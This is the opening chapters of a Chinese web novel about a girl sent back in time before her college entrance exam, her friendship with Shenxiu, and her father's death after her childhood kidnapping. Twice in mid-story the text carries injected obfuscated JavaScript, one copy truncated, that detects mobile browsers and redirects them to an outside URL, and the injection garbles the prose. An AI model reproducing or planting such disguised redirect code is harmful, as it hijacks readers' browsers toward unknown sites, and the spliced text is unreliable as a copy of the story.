《见鬼!我的青春变成了一座坟墓?》 1. 穿越?从高考前一天穿越! 我叫商尽欢,是人生得意须尽欢的尽欢,不是耗尽欢乐的尽欢。 晚上10:30,晚自习结束的铃声准时响起。 教室里瞬间炸开了锅,桌椅碰撞声、欢呼声、撕书声混作一团,因为明天就要高考了。 我默默收拾好书包,走出教学楼。 作为附中的借读生,学校不提供住宿,我在外面租房子住。 同学们总说羡慕我能当走读生,可他们不知道,回去的路很黑。 两排昏黄的路灯在夜风中伫立,光线黯淡得连自己的影子都照不真切。 我习惯性地往旁边瞥了一眼,空荡荡的。 曾经,参宿会走在这里。 我们是合租的室友,也是最好的朋友。 可惜,那都已经是“曾经”了。 自从上次争吵后,她就搬走了。 如今这条路只剩下我一个人走。 也不是没想过和好,等高考结束吧,我心想,也许到时候我们能好好谈一谈。 拐进租住的村子时,一股凉意顺着脊背爬上来。这里的房租便宜,一个月才350,但安全系数也和价格成正比。 一个摇摇晃晃的身影突然从拐角撞出来,浓烈的酒气扑面而来。 我吓得一个激灵,赶紧侧身躲开,加快脚步想从他身边绕过去。 没想到那醉汉踉跄着追上来。 我头皮一紧,撒腿就跑。 “小妹妹……别跑啊……” 我吓得腿软,没跑两步就被揪住了头发,疼得眼泪直冒。 “放手!” 我惊慌失措地挣扎,手脚并用地反抗,一脚踢中了他的要害。 醉汉痛呼一声,随即暴怒:“妈的敬酒不吃吃罚酒!” 他抓起路边的半块砖头,眼看就要砸下来。 “放开她!” 一道熟悉的声音划破夜空。 是参宿。 她怎么在这里?我们不是已经…… 参宿冲过来一把抱住我,几乎是同时,那块砖头重重砸在她头上。 温热的液体顺着我的脖颈流下来。 “参宿!”我失声尖叫,翻身护住她摇摇欲坠的身体。 醉汉高高举起砖头,我紧闭双眼,把参宿搂在怀里。 预想中的疼痛没有到来。 取而代之的,是鼻尖萦绕的淡淡草香。 我睁开眼,大片大片的蒲公英在风中摇曳,白色的绒球像云朵一样铺满视野。 这不是学校后面那片花田吗? 学业最紧张的那段日子,我和参宿常常偷溜到这里放松,她总爱采蒲公英,鼓着腮帮子使劲吹,让白色小伞满天飞。 “蒲公英要靠自然风力播种,人为吹散会破坏它们的繁殖轨迹。”我那时老一本正经地教育她。 虽然嘴上这么说,可每次看到特别圆特别蓬的蒲公英,我还是会摘下来送给她。 所以……我为什么会在这里?那个醉汉呢?参宿呢? “你终于来了。” 一个苍老的声音突然在脑海中响起,惊得我起了一身鸡皮疙瘩。 “我已经等你很久了。” 那声音既像在耳边低语,又像从天地间每一个角落传来。 “我这里只剩下三朵蒲公英了。你只有三次机会,到我这里来吹散它,去弥补曾经的缺憾。” 缺憾?什么意思? 我迷迷糊糊地站起身,带动一阵微风,几株蒲公英的种子四散飘远。 “小心些,蒲公英要经过自然风力正常播种。如果人为把它弄散,它就很难找到合适的地方生存了。” 我跌跌撞撞地走出花田,朝着教学楼方向跑去。 高三(5)班的牌子挂在门口,课间时分,教室里吵吵嚷嚷。 我四处张望,参宿在哪?她怎么样了?流了那么多血…… “商姐!救命啊!” 一个男生慌慌张张地冲进教室,差点把我撞倒——是张扬,我和参宿的共同好友。 “参宿要杀了我!”他躲到我身后。 我抬头一看,参宿正杀气腾腾地冲过来:“张扬你完了!今天我不把你头拧下来……” 我一把拉住参宿,双手捧住她的脸仔细检查:“你没事吧?头还疼不疼?流了那么多血……” 参宿瞪大眼睛,满脸问号:“商尽欢你复习傻了吧?我什么时候流血了?” “你不记得了吗?我们被酒鬼揍了呀!” 张扬从我身后探出头:“你们被酒鬼揍了?” 他凑近参宿,打量道:“本来就不聪明,别再被打成憨包了,还怎么对付两百天后的高考?” 等等! 两百天后的高考? 我猛地转头看向黑板旁的倒计时牌—— 高考倒计时218天 我使劲揉了揉眼睛,又揉了揉。 倒计时牌上的数字丝毫未变:218。 上课铃适时响起,我恍惚地走回座位,捞出桌洞里的《第一轮复习步步高》,翻开,一个字都没写。 我不得不承认一个可怕的事实—— 我他妈从高考前一天穿越了!!! 这他妈谁受得了?! 高三辛苦血汗泪,一朝回到解放前。 我瘫在座位上,黑板上密密麻麻的公式一个字都进不了脑子,满心满眼都是我好不容易熬过去的那一年。 我原本不是附中的,我原本来自于一个本科率不到20%的不知名小破中学。 附中是我们市的重点,每年都会给全市各普通中学分配极少数的借读名额,为了促进教育公平。 我成了那个幸运儿,在高二这年进入附中,收获了优质的教育资源,还遇到了参宿。 她本来是住校生,听说我一个人在外面租房子,二话不说就搬来和我合租。 “晚上一个人走夜路多危险啊,我陪你。” 我们租的房子就在学校附近的村子里,走路只要十五分钟。 所有走读生都知道一个真理:住得越近,越容易迟到。 从最初小心翼翼提前半小时出门,到后来迟到了也无所谓,在校门口的小摊吃完一碗小馄饨,擦擦嘴再慢悠悠走进校门。 结果就是天天被班主任逮个正着。 “你们两个小姑娘家家的,懒成这样!”班主任总是一边骂一边把我们按在走廊罚站。 违背校规校纪就要受到处罚,这点我认。 但让我憋屈的是,同样迟到的男生,班主任只是嗔怪两句就放他们进去早读。 我在背后翻白眼,参宿就会轻轻拍拍我:“习惯就好,咱们拿成绩说话,让她佩服到不敢说我们。” 我和参宿天生一对。 在那间小小的出租屋里,我们相互包容,很少吵架。 那房子条件不好,没有独立卫生间。小小的一间屋里只有一张上下铺,一张共用的书桌,还有一个摆在地上的电煮锅。我们用那个锅煮过粥,煮过面条,后来还研发出了焦糖奶茶。 晚上复习饿了,就有一锅热气腾腾的东西吃。 通常是参宿负责煮吃的,因为她学习总是不专心,坐五分钟就要爬起来干点别的。但即便如此,她的成绩还是和我不相上下。 她就是那种有点天赋但贪玩的人,而我则是必须死读书才能跟上进度的人。 冬天是最难熬的。 晚上回来已经没有热水,我们用冷水洗澡,那种酸爽至今难忘。 有时候我们会用那个功率小得可怜的电煮锅烧点水泡脚。 参宿的盆是个可折叠的,因为不占地方。有一次水太烫,她把脚搭在盆边上,结果一不小心把整个盆踩翻了,水洒了一地。我们俩在出租屋里大眼瞪小眼,然后哈哈大笑。 后来春天来了,夏天也来了,天气一天天变暖,但那间出租屋里只剩下我一个人。 参宿已经搬走了。 或许我回到这里的意义,就是挽回这段即将破裂的友谊吧。 这么想着,即便要再奋斗两百天,我也认了。 “参宿。”我轻声唤道。 已经很久没有这样叫过她的名字了。 这节是数学课,她最讨厌数学了,正睡得香甜。听到我的声音,她睫毛颤了颤,嘴角无意识地哼了一声。 —— 我与参宿相识于12岁。 在一个平淡无奇的下午,她作为转学生,被老师领进了我就读的那所普通小学的教室。 起初,我们毫无交集,可以说八竿子打不着。 她虽然是新来的,但性格外向,整天呲着大牙乐呵呵的,仿佛没什么烦恼能挂心 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但我敢发誓,我绝对不是被这些小零食被收买,而是被她这个人。 参宿教会我的第一件事,是分享。 这并非意味着我不懂分享的含义。 我知道,分享就是把好东西拿出来,和朋友一起享受,就像把一块巧克力掰成几瓣,让大家都尝到甜头。 从前我也确实这么做过,可惜常常得不到对等的回应,索性就收起了分享的念头。 看,即便只是十几岁的小孩,也如此看重利益的往来与回报。 我似乎天生就是这样的人。 而参宿教会我的,是不求回报的分享。 她当然不是像老师那样,拿着戒尺站在讲台上,把这个道理编成动听的故事,再让我们写五百字读后感。 她是在潜移默化中,润物细无声地影响了我。 或许,连她自己都不知道她是在“教”我。 某次机缘巧合,我们成了同桌。 那段时光如同被密封在玻璃罐里的彩色糖果,成为我记忆中无比珍藏的段落。 我们的后桌也是两个小女生,一个温婉安静,一个活泼咋呼。 我想,是不是天下所有的好朋友,都是这样互补的搭配? 我们四个经常互相分享零食,没有任何复杂的原因,无非是觉得“这个好吃,你一定也要尝尝”。哪怕分到每个人手里,只有指甲盖那么一点点。 有好几次,我因为各种原因忘了带零食来分,心里窘迫又难为情。 而每一次,参宿都会极其自然地把自己的零食分给大家,然后声音清脆地说:“商尽欢,我把你的零食也分给她们啦哦~” 她在用她的方式,小心翼翼地维护一个同龄人敏感又脆弱的自尊心。 那是我童年里,轻松快乐的时光。 然而,这段快乐持续了不到三个月。 她在某一天,像她的出现一样,又悄无声息地消失了。 就在前一天,我们还勾着手指约定,周末一定要一起去老街的集市,买下那个她看了好几次的蒲公英水晶球。 我已经偷偷攒够了钱。 可最终,她还是抛下了那个水晶球,也抛下了我。 最先消失的,是她的人。 像我这种平时看到老师都恨不得绕道走的学生,竟然第一次鼓起了勇气,主动跑去办公室问老师。 看来,参宿在不知不觉间,又教会了我勇敢。 老师只是告诉我,她转学了。 至于为什么转学?转去哪里了?还会不会回来? 老师摇摇头,没有给我答案。 紧接着消失的,是关于她的记忆。 当然,我绝不会忘记她。 但这个班级里绝大多数的人,正在飞速地忘记她。 我先是感到愤怒,凭什么?她明明对大家都那么好。 继而感到深刻的悲伤和无能为力。 原来真心,是真的会被轻易辜负的。 这是她歪打正着,教给我的第三件事。 最后一个消失的,是她带给我的好运气。 她走后的第二个月,春节那天,我被绑架了。 2. 变故,都是我的错 在那次绑架之前,我拥有一个虽不富裕但算得上温暖的家庭。 我家不算有钱,住不起漂亮的小区房,但有一个专属我们一家人的、能够遮风避雨的小院。 它是这样的:外墙由斑驳的青砖瓦砌成,上面留满了我小时候的涂鸦。里屋不大,但样样俱全,家具算不上高档,但都是爸爸妈妈一点一滴辛苦置办起来的。屋外的小院子是我的乐园,下雨天,雨水会积在坑洼里,青苔从石板的缝隙里顽强地钻出来。院墙一侧,妈妈种满了花花草草,一年四季都焕发着生机。 我那时最期待的,就是缠着爸爸给我买一顶小帐篷,幻想着晚上能睡在院子里看星星。 那该是多奇妙的体验。 我爸从来不会敷衍我的愿望。有个晚上,我还偷偷看见他摸出藏起来的私房钱,在台灯下一张一张地数,眉头微微皱着,却又带着笑。 第二天,他跑来跟我说:“等爸爸下个月发工资,就给欢欢买最可爱的那个帐篷!” 两千七百块。那是他当时整整一个月的工资。 我爸是某个汽车销售店的保安,但他总是很自豪地说,他是保安里最厉害的——因为他是保安大队长。 出事的前几天,他格外忙碌,每天回到家屁股还没坐热,就又被电话叫走。 后来我才知道,店里新来了个年轻气盛的保安,做事冲动鲁莽,得罪了不少客户,我爸作为队长,不得不一次次地去道歉、去处理烂摊子,承受着经理的怒火。 他肚子里积压了太多的委屈和怨气,那段时间,家里总是弥漫着低气压,他和妈妈的争吵也变得频繁起来。 当然,他们以前也会吵架。 我为此哭过很多次,也在无数个闷闷不乐的黄昏,拉着参宿坐在学校空旷的楼梯口发呆。 我问她:“为什么爸爸妈妈总是要吵架?” 对于这个问题,参宿第一次在我面前沉默了,没有给出任何答案。 所以我有理由认为,她或许和我有着相似的烦恼。 好在我的父母是典型的“床头吵架床尾和”。春节那天,我爸特意早早下班,带回了一束巨大的玫瑰花送给妈妈,所有的阴霾瞬间消散。 春晚晚上八点开始,爸爸在院子外点燃鞭炮,妈妈笑着跑出去捂住他的耳朵,两个人依偎在腾起的淡淡烟雾和火光里,笑容比烟花还明亮。 那时,我正坐在奶奶的腿上,玩着“小马颠颠”的游戏,咯咯地笑。 我们一家四口围坐在电视机前,等着春晚开播。 咻——砰! 咻——砰! 连续的破空声划破夜空,整个城市陷入一场璀璨烟花盛宴。 我玩心大起,撒娇耍赖地非要爸爸现在就出去给我买烟花放。妈妈坚决不许,她觉得烟花又吵又不安全,转而命令爸爸去厨房洗碗。 趁妈妈进卧室给外公打电话的功夫,爸爸偷偷从厨房溜出来,手上还沾着没擦干净的水渍,飞快地抽出一张百元钞票塞进我手心。 “快去给老爸买瓶酱油回来!” 他故意冲着卧室的方向大声喊,然后捂着嘴:“剩下的钱,想买啥糖就买啥!” 我攥着钱,一蹦一跳地出了家门。 我很听话,先跑去小卖部买了酱油,然后独自穿过两条马路,走向了老街热闹的夜市。 我心里还惦记着那个蒲公英水晶球,想着也许摊主今天出摊了呢? 然而现实并没能如愿。 就在半路上,我被绑架了。 醒来时,我发现自己在一间陌生屋子里。 绑架我的是一位看起来和我妈妈年纪相仿的女人。 看到我睁开眼,她先是明显地松了一口气,眉毛舒展开——这个细节,当时的我并未读懂,只是在往后无数次的回忆中,才清晰地品味出来。 紧接着,她颤抖地问我:“你爸爸是不是叫商艺康?” 我懵了很久,才迟疑地点点头,心里充满了困惑和恐惧。 但她没给我提问的机会,像是下定了某种决心,拿出手机,毅然拨通了一个号码。 然后,她用命令的语气对我说:“一会儿电话通了,你就告诉那边的人,你被绑架了,让他拿三千块钱,来…来朱国富家。” 朱什么?我没听清。 她看懂了我不解又害怕的表情,烦躁地摆摆手:“算了算了!你就说你被绑架了!剩下的我来说!” 我木讷地点点头。 电话接通的瞬间,我平静无波地复述:“我被人绑架了。” 女人脸上闪过惊愕。 不仅是她,后来每一个参与调查此案的警察,在得知这段经过时,脸上都是如出一辙的难以置信。 他们无法理解,一个年仅十二岁的女孩,在遭遇绑架后,怎么能做到不哭不闹,甚至如此冷静地配合绑匪,完成通话。 对此,我无法做出任何解释。 沉稳,甚至近乎冷漠的镇定,是我与生俱来的特质。 它常常让我显得不近人情,格格不入。但在那之前,我一直以为这是一种优势。 直到我爸爸的葬礼那天。 我独自坐在灵堂冰冷的角落里,沉默地看着亲戚们忙碌地操持着葬礼,内心像一口枯井,掀不起半点波澜。 过了一会儿,我站起身,没有人注意到我。 我慢慢走到门口,一次又一次地抬头向外张望,期待着下一秒,爸爸就会像每一天下班那样,推开门走进来,而我正好在这里迎接他。 直到天黑透了,他也没有回来。 哦,不对。 其实他一直都在那里,只是静静地躺在那里,再也不会醒来,不会对我笑了。 他们告诉我,爸爸死了。是在急匆匆赶去送那三千块赎金的路上,被一辆失控的汽车撞死的。 我揉了揉干涩的眼睛,彼时还不太明白,我打出的那通电话,究竟引爆了怎样一场毁灭性的灾难。 那通电话,是奶奶接到的。她听到宝贝孙女被绑架,惊惶失措地起身想去厨房喊儿子,结果脚下一滑,重重摔倒在冰冷的瓷白地砖上,后脑勺着地,鲜血瞬间淌了一地。 医生说,她颅内有了淤血块,很难清除。 我不知道,这是否和一年后她突发脑梗彻底瘫痪在床有直接的关系。 而我爸爸,听到我被绑架的消息,急得浑身发抖,抓起家里仅有的三千块钱现金夺门而出,生怕去晚一步,绑匪会伤害我。 事实上,他确实去晚了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480720|185628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚到我们再也没能见上最后一面。 —— 在我爸出事的前两个星期,他工作的地方死了一个人。 是我爸手底下的一名保安,叫朱国富。 说“手底下”其实并不准确,我爸那个“保安大队长”的头衔,听起来威风,实则就是个空架子,既没有多拿几分钱,也管不住真正惹事的人。 他被摆在那个位置上,更多时候像是个用来承担责任的靶子。 回归正题,我为什么会被绑架。 原因简单到令人唏嘘,甚至有些可笑。 无非是那个新来的刺头保安,莽撞打碎了值班室的一扇玻璃窗。因为不想自己赔那五十块钱,他眼珠一转,就把这烂摊子推到了第二天值班的朱国富头上。 朱国富是个老实人,但老实人也有被逼急的时候。他当然不肯吃这个哑巴亏,便和那刺头理论起来,推推搡搡间,不知是谁失手推重了,朱国富脚下一个踉跄,猛地摔倒在地,后脑勺不偏不倚,重重磕在那一地碎玻璃渣上……当场就没了气息。 刺头保安吓得魂飞魄散,连滚带爬地跑了,至今不知所踪。 朱国富的妻子接到这个噩耗,两眼一翻就晕死过去。 可想到远在老家嗷嗷待哺、等着学费读书的两个娃娃,她硬生生又把眼睛翻了回来。 她跑到汽车店里讨说法,哭诉,吵闹。根本没人理会她,只有一个穿着西装的销售走过来,微笑着客气地问:“女士,您要看车吗?” 她崩溃大哭:“我没钱买车!我丈夫死了!死在你们这儿了!我要你们给我一个说法!” 销售脸上露出些许为难,但还是保持着礼貌:“没钱您可以考虑分期贷款,我们这款车现在优惠力度很大,买下来非常划算……” 朱国富的妻子彻底疯了,她哭喊着,说自己连给丈夫办后事、凑齐那三千块火化费都拿不出来,她活不下去了,不如就从这里跳下去一了百了。 那销售无奈地笑了笑:“唉,我车卖不出去,也活不下去了,要不咱们约着一块跳?” 汽车店里看热闹的人群里,传来几声压抑不住的嗤笑。 女人心如死灰,踉踉跄跄地走出店门,腿一软跌倒在门口的砂石地上,悲恸和绝望抽干了她所有的力气,怎么挣扎都站不起来。 我爸那时正在值班,看见她摔倒,赶紧跑出去想扶她起来,却被她一把狠狠推开。 她像个小孩子一样,就坐在那冰冷的砂石地上,放声痛哭,手脚胡乱地蹬着。 我爸搓着手,笨拙地劝她:“大妹子!我知道你心里苦!可你得想想国富留下的两个孩子啊!他们还那么小,你得振作起来,好好把他们拉扯大啊!” 可是……要怎么活呢? 钱从哪里来呢? 她掩面哭了很久很久,哭得声音嘶哑。 我爸重重叹了口气,从自己那洗得发白的工作服内兜里,摸索出皱巴巴的几张钞票,递过去:“大妹子……我,我也实在没多少能力,这点你先……” 那几张零散的钞票,她最终没有接。 只是颤颤巍巍地、凭借着一股不知道从哪里生出来的力气,自己站了起来,像一具被抽走了灵魂的空壳,失魂落魄地往家的方向飘去。 3. 转机,我们都在质问对方 后来,殡仪馆的电话一遍遍催,催促她尽快办理火化手续,缴纳费用,警告她若再拖延,将按规处理,甚至可能向法院提起诉讼。 那一天,是万家团圆的春节。 她无法忍受出租屋里那能把人逼疯的死寂和冷清,脚步虚浮地出了门,鬼使神差地,朝着那条热闹的老街一步步走去。 街边有卖江米条的小摊,那种外层裹着白色糖霜,咬下去会嘎嘣脆响的廉价零食。 她忽然想起来,在老家的女儿最爱吃这个。 于是她掏遍全身,摸出仅剩的五块七毛钱,称了小小的一袋,自己抓着,一根一根往嘴里塞。 女儿吃不到了,她还在老家,等着爸爸妈妈回去过年,等着学费,等着也许永远无法实现的新年礼物。 他们夫妻俩原本……是准备好了今年一定要回去过年的。 …… 遇见我,成了一个偶然却又带着某种残酷合理性的必然。 那时,我正因为摊主告诉我“那个蒲公英水晶球早就被人买走啦”而瞬间垮下肩膀,垂头丧气地站在街边,觉得全世界我喜欢的、我想要的东西,都在一点点离我远去。 她看见我的时候,我正耷拉着脑袋,慢吞吞地往家的方向挪步。 她认出了我——商艺康的女儿。 同时,一个可怕又疯狂的念头,如同毒蛇般猛地窜入她的脑海,来势汹汹,瞬间吞噬了她仅存的理智。 如果她还有一丝清醒,她一定会想到这件事可能引发的可怕后果。 可惜,没有。 如果她能提前预知最终的结局,那么在与我擦肩而过的那个瞬间,她一定会头也不回地继续走下去,哪怕前方是更深的地狱。 可惜,没有。 如果在她看到我稚嫩脸庞的那一刻,想起的是她自己那乖巧懂事的女儿,而不是那冰冷的、象征着终结的三千块火化费…… 如果……如果我呢? 如果当时的我,能够机灵一点,敏锐地察觉到她的绝望,能开口告诉她:“阿姨,我爸爸是个好人,你跟他好好说,他会帮你的,他一定会心甘情愿地拿出那三千块钱……” 可惜,我也没有。 我是一个被所有长辈夸“听话”、“懂事”的好孩子。 潜台词往往是:木讷,循规蹈矩,不懂变通,在巨大的变故面前,只会被吓得呆住,遵循最直接的指令。 爸爸的死,成了我人生剧本中最荒诞、最无法原谅的一处情节。 我后来时常陷入一种假设性的癔想:如果当初这个情节的设计者,哪怕手抖了一下,让它的走向出现一丁点的偏离,我的人生,我妈妈的人生,我奶奶的人生,是不是就会走向完全不同的、幸福的光明? 然而现实冰冷而残酷。 我和妈妈站在原告席上,听着审判长念完长长的判决书。 然后,我听到对面被告席上那个瘦弱憔悴的女人,用尽全身力气般,吐出三个字: “服从判决。” 思绪从沉重的回忆里挣扎着浮起,我彻底明白,爸爸将永远不会再推开那扇门回家了。 我默默走回灵堂,重新在那个小马扎上坐下。 来来往往忙碌的亲戚们,我很多都喊不出准确的称谓,也帮不上任何忙。 我就像一个彻头彻尾的局外人,愚笨,且显得无比冷漠,没有礼貌。 我想,他们心里一定对我厌恶至极。不然,那些躲在门框后的议论,是从何而来呢? “老商家真是倒了血霉了,生出这么个女儿!” “就没见过这么没心肝的,亲爹死了,一滴眼泪都不掉!” “要不是她贪玩跑出去,怎么会惹出这种天大的祸事!” “骨子里就是冷的!就是个克父克母的灾星!” …… 这些话语,其实我听得并不真切,以至于在往后无数个自我折磨的夜里,我甚至恍惚地怀疑:那些话,真的有人说过吗? 还是说……那根本就是我自己对自己的审判? 然后,我不由自主地想起了那个绑架我的女人。 就在那通致命的电话结束后,她毫无预兆地崩溃大哭起来。 她把兜里没吃完的江米条掏出来,塞到我手里。 她说:“对不起……对不起孩子……吓着你了……阿姨真的……真的是没有任何办法了……等你爸爸拿钱过来,你就跟他回家,好好过年……年后、年后阿姨争取想办法把钱还上……” 我承认,在那一刻,透过她满脸的泪水和绝望,我心底曾泛起过一丝微弱的、属于孩童最原始的同情。 但我已经永远地失去了原谅她的权利。 连同被原谅的资格,也一并失去了。 从这件事发生的那一刻起,我就有一种清晰的、冰冷的预感—— 我过不好我的一生了。 小升初,我考了297分,离满分只差3分。尽管手握这样的成绩,我却别无选择,只能走进那所教育资源匮乏的初中。 选择它只有一个原因:离家近。 一来不需要人接送,能省下宝贵的通勤时间;二来,也是最重要的,我可以随时回家照顾已经瘫痪在床的奶奶。 那时,妈妈在一家超市当收银员。 她原本刚烈的性子,在生活的重压下被磨得变了形。 她时常要面对一些蛮不讲理的顾客,为了保住这份微薄的薪水,她只能选择将所有的委屈和怒火生生咽下。 久而久之,那些无法对外人发泄的情绪,便转化成了家中一点就着的易燃物。她变得异常易怒,经常会因为一些微不足道的小事,冲着我和奶奶发脾气,而后又在每一个深夜里,独自坐在漆黑的卧室中,压抑地啜泣。 …… 爸爸死后,妈妈的胆子一下子变得很小。她不敢一个人睡觉,于是某天晚上,她试探问我:“欢欢……能不能搬过来陪妈妈睡?” 之后很长一段时间,我总在半夜被她惊醒。 意识朦胧中,听见她在睡梦里发出痛苦的、含糊不清的“咿咿呀呀”的呻吟。 我隐隐觉得,她的精神恐怕也出了些问题。 这个毛病后来在某一天突然消失了。 她睡得很沉,一夜再无动静。 可我却被养成了习惯,总在夜半莫名惊醒,然后下意识地扭头,借着窗外微弱的光,盯着身旁一动不动的她。 心里会掠过一阵没由来的恐慌,最终忍不住从被子里悄悄钻出来,伸出一根手指,颤抖地探到她的鼻下。 感受那温热的气息拂过指尖时,心里涌起的,不知是幸运还是不幸的复杂滋味——她还活着。 爸爸在世时,妈妈常念叨着想出省进厂打工。一是听说能挣得多点,二来,她也想出去见见外面的世界,透一口气。 可爸爸不在了。她就像被一根无形的铁链牢牢拴住的看门狗,困在这方寸之地,哪里也去不了,所有的梦想和念头都成了奢望。 妈妈做出了巨大的牺牲。 所以,当她用恳求的语气问我“愿不愿意就在家门口这所初中上学”时,我没有丝毫犹豫,立刻点头。 因为那个时候,我比谁都清楚,这个家再也经不起任何风浪,我不能再添任何麻烦。 还有一个深埋心底的原因:我确实是一个极其“擅长”服从命令的小孩。 习惯性地压抑自我,去满足别人的期望,或者仅仅是避免冲突。 而这最后一点,或许正是导致我后来某个时期变得异常叛逆的根源。 我浑浑噩噩地度过了初中三年。起初,也曾在泥泞中试图挣扎着站起来,却被现实这片巨大的沼泽一点点吞噬了所有力气。 中考那年,我考了一个高不成低不就的分数,最终进入一所普通的高中。 也正是在这个时候,我从长久的麻木中获得了一丝刺痛般的清醒。 具体表现在,我开始不可抑制地哀怨自身的遭遇。 我会阴暗地想,如果奶奶没有瘫痪,妈妈就不会逼我选择那所破初中。那样的话,以我的成绩,一定能进入一所教育资源优质的中学,在那里充实而顺利地度过三年,然后稳稳地踏入重点高中的大门,回到那条原本或许光明顺遂的人生轨道上。 这个念头一旦滋生,便像条毒蛇缠绕着我。 我甚至不敢再与妈妈和奶奶对视,生怕自己眼底会泄露出一丝一毫的埋怨与不甘。 不过好在,高中我开始住校了,暂时物理上脱离了那个令人窒息的环境。 但我依旧死性不改,像从前那样稀里糊涂地生活、学习,抱着得过且过的态度对待每一件事。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480721|185628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那时的我认为,仅仅是“活着”本身,就已经要耗费掉所有的力气了。 现在的我回看那段日子,只觉得矫情又可笑。 —— 我跟我妈第一次爆发剧烈的争吵,发生在高一的最后一个学期。 下了晚自习,我照例去学校的公用电话亭给我妈打电话。这个行为并非她要求,而是我自愿的。 看,我就是如此矛盾,内心既抗拒面对她们,又被无形的牵挂牢牢捆缚。 我们通常的对话千篇一律:“今天吃的什么?”“有没有吃饱?”“学习怎么样?”“上班还顺利吗?” 每天的问题和答案都出奇地一致,像设定好的程序。 接着,我会问:“奶奶睡了吗?” 潜台词是:我想和奶奶说说话。 她年纪已经很大了,没瘫痪前,她最爱跟着老街坊们出去打牌唠嗑,精神头十足。 可如今,她甚至连迈出家门门槛都做不到,每天只能无助地躺在床上,对着天花板发呆。 我总害怕她活不长了,只能拼命地想多和她说几句话,试图从那些平淡无奇的问候里,传递出我笨拙的本意:奶奶,我爱你,我在乎你。 妈妈在电话那头回应:“还没睡。” 接着,便是漫长的沉默,和意料之中的没有下文。 …… 我不知道是从什么时候起,妈妈开始有意无意地阻止我和奶奶交流。 最初意识到这个问题时,我脑子里冒出的是那句老话——久病床前无孝子。 我以为她是厌倦了日复一日照顾瘫痪老人的生活,厌倦了奶奶的病痛,进而蔓延到了厌恶奶奶的一切…… 我仍然记得某个晚上,奶奶难得有精神,坐在沙发上看电视,看得很入迷,还夸里面的演员演得好,说掉眼泪就掉眼泪。 妈妈坐在我旁边,闻言冷冷地哼了一声,说:“我也应该去当演员,像我这样经历的女人,谁还不能随时挤出两滴眼泪呢?” 电话里,我们沉默地对峙着。 我不想每次都卑微地请求:“可不可以把电话给奶奶?我想和她聊两句。” 这样太没劲了,太伤了。 我固执地想,作为母亲,你难道不能体谅一下你的女儿吗?不要逼你的女儿成为一个“不孝顺”的孙女,不要让你的女儿,再背负上更多无法弥补的遗憾。 可她始终揣着明白装糊涂。 于是,积压已久的情绪终于决堤,我冲着电话那头失控地呐喊:“为什么你总要这样呢?我只想和奶奶讲讲话!为什么你每次都装作不明白?” “你这么做是在报复我吗?是因为怨恨我,觉得是我害死了爸爸,对吗?” “商尽欢!你胡说八道什么?” 那个总是对我轻声细语的妈妈,第一次用如此尖利的声音破口大骂:“那你呢?你不恨我吗?” “当初要不是我阻止你出去买烟花,你和你爸就可以一起出去!你就不会被绑架!他也不会急着出去送钱然后被车撞死!难道你不是一直在怪我吗?!” “我……” “我知道的!你一直怨我!怨我不让你买烟花!怨我让你委曲求全读那个烂初中!怨我毁了你的一辈子!你觉得都是我害的,对不对?!” “我……” “你是我的女儿!你在想什么,难道我不清楚吗?!” 我猛地掐断了电话。 转身,看到电话亭外已经排起长队的学生,他们投来或同情、或好奇、或看热闹的目光,看得我胃里翻江倒海,看得我指甲深深掐进掌心…… 最后,我狼狈地冲回了宿舍。 那个周末,我怀着极度忐忑的心情回家。妈妈却像什么都没发生过一样,表现如常。她给我夹菜,问我学校生活怎么样,学习跟不跟得上…… 我机械地回答完,她点点头,而后,便是我们之间令人窒息的沉默。 我不知道,这次撕心裂肺的争吵,是不是最终驱使我开始拼命学习的契机。 —— 高二的最后一个学期,我们学校意外获得了两个去师大附中借读的宝贵名额。 在经历完层层残酷的选拔考试后,我拿到了其中一个。 这是爸爸离开以后,这个支离破碎的家里发生的,唯一一件算得上好的事情。 4. 手印,留下我们的印记 遇见参宿的那天,我刚从附中年级组办公室出来,就听见远处有打闹声。 我有预感地抬头,看见她正追着一个男生跑。 而后脚步声顿住了,空气中有片刻的宁静。 我和参宿隔着一整条走廊对视,彼时我们已经五年多没见了,但我还是在看见她的第一眼,就将她认了出来。 她还那样,阳光、活泼、灵动,眉眼嘴角永远弯着。 而我却像一个饱经沧桑的老小孩,笨重、沉默、一言不发。 那时我认为老天这些年来只对我一个人不公,却不曾想,这其实是两个饱受折磨的十七岁生命在对望。 参宿同我一样,在看见我的第一眼,就将我认了出来。 她朝我用力挥手。 我没回应,转身走进教室。 …… 我讨厌参宿。 我讨厌她一声不吭就走了,连一句告别都没有。 我讨厌她不去赴那个买蒲公英水晶球的约,如果去了,一切是不是都会不一样? 我讨厌她说喜欢蒲公英水晶球,害得我在那天晚上独自跑去老街,遭遇那场改变一切的绑架。 为什么她能这么开心? 为什么她能在这么好的学校? …… 我想,如果下次再遇见,如果她敢来质问我为什么不回应她,我只会用最疏离客套的语气说:“哦,不好意思,同学,我没认出你来。” 但参宿没给我机会。 她直接冲过来抱住我,在我耳边说:"我想你了,商尽欢。" 就这一句话,我所有恨意都消失了。 参宿总是很会表达爱。 而我,永远没有办法拒绝参宿。 —— 上课铃把我惊醒,一抬头就看见参宿从前门跑进来,在我旁边坐下。 “快拿着。”她鼻尖冒着细汗,把两朵蒲公英递给我。 深秋的季节,蒲公英还开得这样好。 “怎么又给人家摘了?你有点缺德哦。” 她俏皮地吐了吐舌头,然后信誓旦旦地保证:“下次一定不敢了!” 